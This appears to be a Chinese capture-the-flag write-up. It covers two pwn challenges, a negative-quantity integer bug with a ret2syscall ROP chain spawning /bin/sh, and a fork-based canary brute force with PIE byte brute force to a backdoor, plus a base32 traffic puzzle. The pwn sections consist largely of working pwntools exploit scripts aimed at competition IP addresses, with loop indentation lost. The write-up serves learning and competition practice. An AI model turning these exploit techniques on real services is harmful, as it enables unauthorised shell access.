Pwn
烧烤摊儿
程序分析
chuan和pijiu两个函数都有对边界检查不严格的漏洞
money是int型,可以输入负数,则money还可以不减反增
vip函数有own,只要money达到100000则可以使own=1进入gaiming
gaiming中scanf没有限制读入长度,并且将读入的数据保存在栈上,可以溢出
利用
综上,由于程序是静态链接没有libc泄露,则通过ret2syscall打
一个意外情况是有些syscall可以,有些又不行,很奇怪
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('123.56.238.150', 43786)
# p = process('./shaokao')
elf = ELF('./shaokao')
# gdb.attach(p)
p.sendlineafter('> ', b'2')
# p.sendline(b'2')
# pause()
p.sendlineafter('3. 鸡肉串\n', b'1')
# pause()
p.sendlineafter('来几串?\n', b'-20000')
# pause()
p.sendlineafter('> ', b'4')
# gdb.attach(p)
# p.send(b'4')
p.sendlineafter('> ', b'5')
pop_rax = 0x458827
pop_rax_rdx_rbx = 0x4a404a
pop_rdi = 0x40264f
pop_rsi = 0x40a67e
# syscall = 0x402404
syscall = 0x4037D9
sh_addr = 0x4b7795
# int_0x80 = 0x4aa6e0
name_addr = 0x4e60f0
binsh = 0x4E60F0
payload = b'/bin/sh\x00' + b'A'*(24+8)
payload += p64(pop_rdi) + p64(binsh) + p64(pop_rsi) + p64(0) + p64(pop_rax_rdx_rbx) + p64(59) + p64(0)*2 + p64(syscall)
# pause()
p.sendlineafter('烧烤摊儿已归你所有,请赐名:\n', payload)
# 0x401f5c
p.interactive()
funcanary
程序分析
根据题目,应该是与canary有关
发现有fork函数,fork创建的子进程中canary值也不会被改名,则直接想到可以爆破canary
还发现了有栈溢出
观察函数窗口,发现调用了system函数,寻找一下发现了后门函数
那么只需要控制返回地址到这儿就行
由于开启了PIE,而返回地址和后门函数地址只有倒数第二个字节的差距,则考虑可以爆破倒数第二个字节劫持程序执行流到后门函数
利用
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('123.57.248.214', 13625)
# p = process('./funcanary')
# gdb.attach(p)
elf = ELF('./funcanary')
libc = ELF('./2.34-0ubuntu3_amd64/libc.so.6')
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
print("the " + str(k) + ": " + chr(i))
p.send(b'a' * 0x68 + canary + bytes([i]))
a = p.recvuntil("welcome\n")
print(a)
if "fun" in str(a):
canary += bytes([i])
print("canary: " + str(canary))
break
print("next")
print("canary: " + str(canary))
# gdb.attach(p)
payload = b'B'*0x68 + canary + b'C'*8 + b'\x28'
x = [b'\x02', b'\x12', b'\x22', b'\x32', b'\x42', b'\x52', b'\x62', b'\x72', b'\x82', b'\x92', b'\xa2', b'\xb2', b'\xc2', b'\xd2', b'\xe2', b'\xf2']
for i in x:
payload2 = payload
payload2 += i
print(i)
p.send(payload2)
a = p.recvuntil("welcome\n")
p.interactive()
# 0x5555555552e8
# 0x555555555324 call read
# 0x55555555528a read
Misc
被加密的生产流量
根据题目提示,应该是寻找关键信息然后解密
根据经验一般是追踪TCP流
将这段当中的字符提取出来
MMYWMX3GNEYWOXZRGAYDA===
看见==想到base64和base32
base64解码出来是乱码,则是base32了
c1f_fi1g_1000
pyshell
限制了读入字符数,想办法通过shell读出flag文件